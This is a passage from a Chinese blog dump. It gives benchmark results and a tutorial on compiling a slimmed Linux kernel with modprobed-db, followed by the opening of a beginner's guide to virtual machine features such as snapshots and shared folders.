内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5038\u003c/td\u003e\n\t\t\u003ctd\u003e12522767\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5112\u003c/td\u003e\n\t\t\u003ctd\u003e12523274\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e1191\u003c/td\u003e\n\t\t\u003ctd\u003e5090\u003c/td\u003e\n\t\t\u003ctd\u003e12522823\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5119\u003c/td\u003e\n\t\t\u003ctd\u003e12523312\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e1214\u003c/td\u003e\n\t\t\u003ctd\u003e5087\u003c/td\u003e\n\t\t\u003ctd\u003e12522819\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5109\u003c/td\u003e\n\t\t\u003ctd\u003e12522353\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\u003ctd\u003e1206\u003c/td\u003e\n\t\t\u003ctd\u003e5070\u003c/td\u003e\n\t\t\u003ctd\u003e12522915\u003c/td\u003e\n\t\t\u003ctd\u003e1207\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523397\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\u003ctd\u003e1215\u003c/td\u003e\n\t\t\u003ctd\u003e5086\u003c/td\u003e\n\t\t\u003ctd\u003e12522951\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523431\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\u003ctd\u003e1217\u003c/td\u003e\n\t\t\u003ctd\u003e5092\u003c/td\u003e\n\t\t\u003ctd\u003e12522998\u003c/td\u003e\n\t\t\u003ctd\u003e1212\u003c/td\u003e\n\t\t\u003ctd\u003e5098\u003c/td\u003e\n\t\t\u003ctd\u003e12523485\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均成绩\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5077\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5115\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\u003c/tr\u003e\t\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003e接下来是《半条命2:失落的海岸线》(与《黑山起源》同为起源引擎)的跑分成绩,单位是 FPS:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctbody\u003e\u003ctr\u003e\n\t\t\u003cth\u003e测试次数\u003c/th\u003e\n\t\t\u003cth\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e155.31\u003c/td\u003e\n\t\t\u003ctd\u003e151.91\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e137.70\u003c/td\u003e\n\t\t\u003ctd\u003e139.08\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e137.63\u003c/td\u003e\n\t\t\u003ctd\u003e141.41\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均FPS\u003c/td\u003e\n\t\t\u003ctd\u003e143.5\u003c/td\u003e\n\t\t\u003ctd\u003e144.1\u003c/td\u003e\n\t\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003e由上可见,虽然自编译内核相较原版内核,有一定的性能提升,但是提升幅度不大。而我还发现,使用强制性能模式会导致电脑风扇长时间运行,CPU 过热现象明显。而在新内核下运行《黑山起源》,我觉得流畅度有些微提升,至少没有之前那么卡了。但是我高度怀疑这是某种安慰剂效应。\u003cbr/\u003e\n所以,自行编译内核并没有达到我的需求。但这不意味着我白搞了一通,至少编译内核速度快了。\n补充说明:我当时玩的是《黑山起源》的 Linux 版本,那个版本被很多的 ProtonDB 用户评为垃圾水平,因为在 AMDGPU 上会有贴图故障,而且不太更新。详情看这个。\n好了,进入我这篇文章的宝藏部分捏。\u003c/p\u003e\n\u003ch2 id=\"如何加速内核编译使用-modprobed-db-精简驱动模块\"\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/graysky2/modprobed-db\" target=\"_blank\" rel=\"noopener\"\u003emodprobed-db\u003c/a\u003e 是一个 bash 脚本,他能侦测你系统目前所使用的模块,并记录下来。在编译内核的时候,程序只会编译我们使用过的驱动模块,加速编译速度,减少内核体积。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e:使用这个软件,可能会精简驱动过头,导致使用不便。请各位打算使用前,最好稍微了解一下内核配置选项。本人仅在 Arch Linux 下运行过这个软件,如果你用的是 Ubuntu 等系统,使用有问题的话,请跟我说一下。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"过一下编译内核的一般步骤\"\u003e过一下编译内核的一般步骤\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e电脑装好编译环境,一般包括 gcc,make 等。Arch Linux 是要安装上 \u003ccode\u003ebase-devel\u003c/code\u003e 软件包组和 \u003ccode\u003egcc\u003c/code\u003e 。\u003c/li\u003e\n\u003cli\u003e你需要拖下来最新稳定版的内核源代码,然后进入源代码文件夹:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ git clone https://mirrors.tuna.tsinghua.edu.cn/git/linux-stable.git \u003cspan class=\"c1\"\u003e# 这里使用了清华镜像\u003c/span\u003e\n$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e linux-stable\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e使用以下任意一个命令,配置内核参数:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ make nconfig \u003cspan class=\"c1\"\u003e# 命令行界面配置\u003c/span\u003e\n$ make xconfig \u003cspan class=\"c1\"\u003e# 图形化界面配置(使用 QT )\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e: 很多教程是用make config配置内核,本人不推荐。界面太原始就算了,在 Arch Wiki 上面被标记为\u0026#34;被 nconfig 取代\u0026#34;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\" loading=\"lazy\" alt=\"nconfig长这样\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003enconfig长这样\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003col start=\"4\"\u003e\n\u003cli\u003e使用 \u003ccode\u003emake -j$n\u003c/code\u003e 命令编译,这里 \u003ccode\u003e$n\u003c/code\u003e 代表你电脑/虚拟机的核心数。\u003c/li\u003e\n\u003cli\u003e使用以下两个命令来安装内核:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ sudo make module_install \u003cspan class=\"c1\"\u003e# 安装内核模块\u003c/span\u003e\n$ sudo make install \u003cspan class=\"c1\"\u003e# 安装内核本身\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"6\"\u003e\n\u003cli\u003e重启到新内核,如果没有的话,查看系统引导器设置。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"使用-modprobed-db-精简内核\"\u003e使用 modprobed-db 精简内核\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e获取 modprobed-db 软件。Arch Linux 用户可以使用 AUR 直接安装 \u003ccode\u003emodprobed-db\u003c/code\u003e 软件包。如果不是的话,根据该软件 Github 所介绍:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ git clone https://github.com/graysky2/modprobed-db\n$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e modprobed-db\n$ make\n$ sudo make install\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e获取目前你电脑正在挂载的模块:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e$ modprobed-db \u003cspan class=\"c1\"\u003e# 初始化软件\u003c/span\u003e\n$ modprobed-db store \u003cspan class=\"c1\"\u003e# 获取目前运行模块并保存在一个数据库中\u003c/span\u003e\n$ modprobed-db list \u003cspan class=\"c1\"\u003e# 列出存在数据库里面,电脑运行过的的内核模块记录\u003c/span\u003e\n$ modprobed-db debug \u003cspan class=\"c1\"\u003e# 列出目前运行系统模块和数据库记录的异同\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e在编译内核的时候,配置内核参数部分,执行这个命令来关掉不需要的模块编译开关。然后编译安装即可。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ make LSMOD=$HOME/.config/modprobed.db localmodconfig\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"使用提示\"\u003e使用提示\u003c/h3\u003e\n\u003cp\u003e如果你是实机运行的话,务必把所有你要使用的设备都使用上。这里我翻译一下\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Modprobed-db#Populating_the_database\" target=\"_blank\" rel=\"noopener\"\u003e Arch Wiki 的原文\u003c/a\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e挂载上所有需要用到的文件系统\u003c/li\u003e\n\u003cli\u003e接上所有需要用到的可移动媒体,比如U盘,光驱等\u003c/li\u003e\n\u003cli\u003e以上选项包括挂载 ISO 文件,这个涉及到 loop 模块和 isofs 模块\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有设备,例如网卡,输入设备,电脑摄像头,移动设备等\u003c/li\u003e\n\u003cli\u003e使用电脑上的所有应用程序,有些程序是需要特定内核模块来运行的,比如虚拟机\u003c/li\u003e\n\u003cli\u003e在不同版本/特制的内核上运行 modprobed-db,也许会录入一些其他内核没有的模块\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我当时没有插上我的光驱,就运行了这个,结果新内核没法读我的光驱:-P\u003c/p\u003e\n\u003ch2 id=\"我到底配置了啥给大家看看我改过的内核配置\"\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/h2\u003e\n\u003cp\u003e我上面说过,使用 modprobed-db 的前提是对内核配置有一定了解,至少需要看到选项的时候,脑瓜不疼。(如果你是应付操作系统实验,我看\u003ca class=\"link\" href=\"https://github.com/LevickCG/Happy-SE-in-XDU/tree/master/OS\" target=\"_blank\" rel=\"noopener\"\u003e我们学校的操作系统资料\u003c/a\u003e和\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\u003e小梦哥哥的实验总结\u003c/a\u003e的步骤,我觉得你要是在虚拟机下直接搞,应该没有问题)\u003cbr/\u003e\n所以,我来给大家看一下我的内核配置吧,给大家看看我改了什么。这里我用 \u003ccode\u003emake nconfig\u003c/code\u003e 配置。\u003cbr/\u003e\n第一个选项是总体选项,是包括了内核压缩,特定版本号之类的信息。请看 xmgg 的吧。\u003cbr/\u003e\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/jwCd34vDs9EqmiV.jpg\" loading=\"lazy\" alt=\"默认界面\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e默认界面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这是默认界面,配置程序给了我们一些选项。下面的功能键中,F2可以查看配置选项的详细信息,F9可以搜索配置选项。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MsVvJqoDXEr18RQ.jpg\" loading=\"lazy\" alt=\"处理器类型和特性\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e处理器类型和特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方是配置处理器相关信息的。我这里把很多因特尔处理器的独家特性给删掉了,然后处理器优化强制设置为Zen 2。其他方面的有任务调度之类,我没有动,因为不懂。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/MvdYJQ4K5ANZc3D.jpg\" loading=\"lazy\" alt=\"插入电源管理特性\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e插入电源管理特性\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置电源管理,我开启了休眠和睡眠,然后将CPU频率调整设置为\u0026#34;性能\u0026#34;。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/gVZfTyXWjeBE1s4.jpg\" loading=\"lazy\" alt=\"文件系统选项\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e文件系统选项\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置文件系统支持,是精简内核的重中之重,也是一个坑。如果精简过头,可能插个U盘读不出来。尤其注意CD文件系统和DOS文件系统选项。\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/269QYoNTSOxhRad.jpg\" loading=\"lazy\" alt=\"驱动配置\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e驱动配置\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n这个地方配置驱动选项,基本上编译内核,大部分时间都是在编译驱动。所以,这个地方我们可以大开杀戒。不过千万不要要把你需要用到的驱动给去了。\u003cbr/\u003e\n其他方面,诸如支持32位可执行程序,内核安全算法,调试选项等,我就不说啦。\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e虽然自己编译内核,没有使游戏性能有很大提升\u003cbr/\u003e\n但是我由此得到了提升内核编译的一个途径,这要将来节省时间\u003cdel\u003e卷过别人\u003c/del\u003e不就很方便了吗\u003cbr/\u003e\n实际上我还给内核打上了\u003ca class=\"link\" href=\"https://github.com/zhmars/cjktty-patches\" target=\"_blank\" rel=\"noopener\"\u003e中文补丁\u003c/a\u003e,不过网上很多教程,我就不在这说了。给大家个\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/375460344\" target=\"_blank\" rel=\"noopener\"\u003e链接\u003c/a\u003e看看吧。没记错命令是 \u003ccode\u003epatch -Np1 \u0026lt; 补丁文件\u003c/code\u003e 。\u003cbr/\u003e\n我还使用了 Arch Linux 的包管理工具,让整个过程更简单。具体看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Arch_Build_System\" target=\"_blank\" rel=\"noopener\"\u003e这个\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"推荐阅读\"\u003e推荐阅读\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Kernel/Traditional_compilation\" target=\"_blank\" rel=\"noopener\"\u003eArch Wiki提供的编译内核指南(多系统适用哦)\u003c/a\u003e\u003cbr/\u003e\n\u003ca class=\"link\" href=\"https://moefactory.com/3041.moe\" target=\"_blank\" rel=\"noopener\"\u003e小梦哥哥教大家操作系统实验啦\u003c/a\u003e\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/complie-linux-kernel-is-useless.html"},{"title":"快速逃离Linux指南","time":"2022-01-25T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/2qIsgFjYrfldwuh.webp\" alt=\"Featured image of post 快速逃离Linux指南\"/\u003e\u003cp\u003e看完了,搞定完操作系统实验,快跑!\u003cbr/\u003e\n注意:我不可能把在互联网上随便找到的教程再写一遍,我觉得很啰嗦,所以请各位多多使用互联网。\u003cbr/\u003e\n如果你是大佬,好好沉下心来帮帮小白,行吗。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003col\u003e\n \u003cli\u003e虚拟机的相关\u003c/li\u003e\n \u003cli\u003e镜像使用\u003c/li\u003e\n \u003cli\u003e好奇怪的桌面\u003c/li\u003e\n \u003cli\u003e文件相关\u003c/li\u003e\n \u003cli\u003e命令行的基本使(chao)用(xi)\u003c/li\u003e\n \u003cli\u003e如何把Linux引进家\u003c/li\u003e\n \u003cli\u003eLinux系统安全教育\u003c/li\u003e\n \u003cli\u003e还有没说到的,上网查资料/优雅地问问题\u003c/li\u003e\n \u003cli\u003e为什么我不推荐大家使用Linux\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"虚拟机相关\"\u003e虚拟机相关\u003c/h2\u003e\n\u003cp\u003e相信各位是被老师的某些需求,才知道有个操作系统叫Linux,才想安装的吧。而各位肯定不想在自己唯一的实机上安装,估计你们都连系统都没装过,会碰到一堆问题:-P\n所以虚拟机是一个更好的选择,它是模拟了一个类似于你电脑的环境。你在里面怎么折腾,只要不出格,基本上不会对你电脑里的其他东西有影响。\u003cbr/\u003e\n这里我不会教大家如何设置一个虚拟机,我给大家一些便于使用的指南。\u003c/p\u003e\n\u003ch3 id=\"增强功能\"\u003e增强功能\u003c/h3\u003e\n\u003cp\u003e一般安装完系统,你需要在虚拟机里的系统安装虚拟机的增强功能。安装完增强功能有啥好处呢?\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e窗口缩放自动化,你没有必要盯着640x480的上古分辨率了。\u003c/li\u003e\n\u003cli\u003e相当于给虚拟机里的系统打上了驱动。最直观的,画面更流畅了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以共享一个剪切板,抄点命令代码更方便了。\u003c/li\u003e\n\u003cli\u003e虚拟机和宿主机可以互相分享文件了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里,给VirtualBox用户来个建议,一定要装VirtualBox软件的增强模块!上网找一下Oracle Extension Pack了解一下吧。\u003cbr/\u003e\n好了,如何安装捏?我知道网上可以找到一大堆的安装教程,但我突然间想多写一些,想让大家少走不必要的弯路。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e虚拟机软件\u003c/th\u003e\n\u003cth\u003e虚拟机里的系统\u003c/th\u003e\n\u003cth\u003e安装方式\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"2\"\u003eVMWare Workstation\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从VM选项找到”安装VMWare Tools”选项,然后安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eLinux\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装open-vm-tools\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\" rowspan=\"3\"\u003eOracle VirtualBox\u003c/td\u003e\n\u003ctd align=\"center\"\u003eWindows\u003c/td\u003e\n\u003ctd align=\"center\"\u003e下载VBoxGuestAddtions.iso,虚拟机挂载安装\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eRed Hat系Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e同Windows安装方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003e其他的Linux发行版\u003c/td\u003e\n\u003ctd align=\"center\"\u003e从你系统的软件库中安装virtualbox-guest-utils\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e顺便你还可以知道虚拟镜像挂载的知识呢。\u003c/p\u003e\n\u003ch3 id=\"硬件虚拟化\"\u003e硬件虚拟化\u003c/h3\u003e\n\u003cp\u003e虚拟化毕竟是模拟了一个电脑环境,这就好比某些双面人一样,心累啊。不过电脑没心没肺,没有道德真空,这不挺好的吗:-)\u003cbr/\u003e\n话说现在的CPU,都支持辅助虚拟化技术。这玩意简单来说,可以让虚拟机直接调用CPU的某些指令,让电脑更加轻松地进行虚拟化。要是没有这个,就真的只能靠软件模拟运行了,效率能把你逼疯。就像某些双面人一样,表面装好人,不过要没人陪衬,迟早装不下去的。\u003cbr/\u003e\n这个特性,Intel的叫VT-x,AMD的叫AMD-V。相信我,没有开这个玩意,大概率你的虚拟机会很卡,甚至有你的虚拟机可能都无法启动:-P\u003cbr/\u003e\n所以在这里,我要给大家的建议是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查看自己的BIOS设置,看看有没有开虚拟化设置(记住这个单词:Virtualization)\u003c/li\u003e\n\u003cli\u003e看看你的虚拟机CPU设置,有没有开虚拟化设置(一般选项里都有VM-T/AMD-V字符串)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"共享文件夹\"\u003e共享文件夹\u003c/h3\u003e\n\u003cp\u003e实际上前面我提到的增强工具,有一个文件互相拖拽功能,不过个人认为,超级难用。一般来说,虚拟机需要访问宿主机文件的话,我更倾向于使用共享文件夹功能。这个功能本质上,就是把宿主机的一个文件夹通过某种虚拟机内部的网络共享方式,让虚拟机访问。\u003cbr/\u003e\n至于怎么用,给你们一些指南,具体怎么做,请询问可爱的互联网姐姐:-)\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/3OWGPruiYC1pMLn.png\" loading=\"lazy\" alt=\"这个是VMWare虚拟机下,配置共享文件的方式\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/rH4wYkXjif5StqT.webp\" loading=\"lazy\" alt=\"这个是VirtualBox虚拟机下,配置共享文件的方式\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机下,配置共享文件的方式\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e设置的时候,尽量勾选上自动挂载/开机挂载,这样能省下很多的事情。\u003cbr/\u003e\n还有一件事,读写权限也要搞明白,我前面说不出格就没事,是因为虚拟机和宿主机本来是隔离的,现在有了一个口子互相通信了,万一你在虚拟机搞了危险操作,极有可能你那些珍贵的东西就要遭殃了。(实际上共享剪贴板也有风险,但比这个小多了)\u003c/p\u003e\n\u003ch3 id=\"系统快照功能\"\u003e系统快照功能\u003c/h3\u003e\n\u003cp\u003e我先给大家讲两个案例,一个是电脑行装系统,一个是Windows的系统还原。\u003cbr/\u003e\n电脑行装系统,喜欢用Ghost。他们提前预制出一个系统环境,然后用Ghost软件保存下来。组装完电脑后,他们把这个模板“扣进”新机器,系统就装完了。\u003cbr/\u003e\nWindows有个功能,叫系统还原。当你的电脑出现问题的时候,还原一下就好了。\u003cbr/\u003e\n系统快照在某种意义上,就是上面那俩的集合。它的功能,就是把虚拟机的状态(包括磁盘状态,硬盘状态)保存下来,类似于一个模板环境。然后你在虚拟机里面操作,发现系统坏了,直接拿之前的快照还原一下就行了。这比Windows的系统还原还好用呢,真的是一键还原。\u003cbr/\u003e\n具体怎么用,互联网姐姐比我更清楚呢,我给你们俩地图吧:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/tPMENW9Ra43L8Iz.jpg\" loading=\"lazy\" alt=\"这个是VMWare虚拟机的系统快照功能\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VMWare虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1nBe7aqPg3CmYMD.jpg\" loading=\"lazy\" alt=\"这个是VirtualBox虚拟机的系统快照功能\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是VirtualBox虚拟机的系统快照功能\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e既然我们的目的是为了一个干净的环境,方便还原。我建议各位存两个快照:一个在系统安装完成之后,一个是在你干活之前。\u003cbr/\u003e\n对了,快照本身也是需要更新的。因为虚拟机里面的系统是需要更新的,所以干活之前的快照一定要更新。至于最干净的,系统完成之后的镜像,一般是为了在虚拟机彻底没法用的时候,搞的救命稻草。\u003cbr/\u003e\n还有一件事,快照回退的时候,在快照生成时间之后的所有东西,设置都将消失!所以你有啥必须要保存的东西,看看上面的共享文件夹功能。\u003c/p\u003e\n\u003ch2 id=\"镜像使用\"\u003e镜像使用\u003c/h2\u003e\n\u003cp\u003e相信大家遇到过这样的情况:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e需要下载一个软件,兴致冲冲跑到官网下载,结果发现下载速度好慢啊:-(\u003c/li\u003e\n\u003cli\u003e你需要用pip搞点数学计算,结果下载的时间够你出门晒太阳了\u003c/li\u003e\n\u003cli\u003e你想去搞点其他的资料,然而就是上不去\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e没关系,各大高校和互联网公司已经帮你下好了,你从他们那里取就行了。\u003c/p\u003e\n\u003ch3 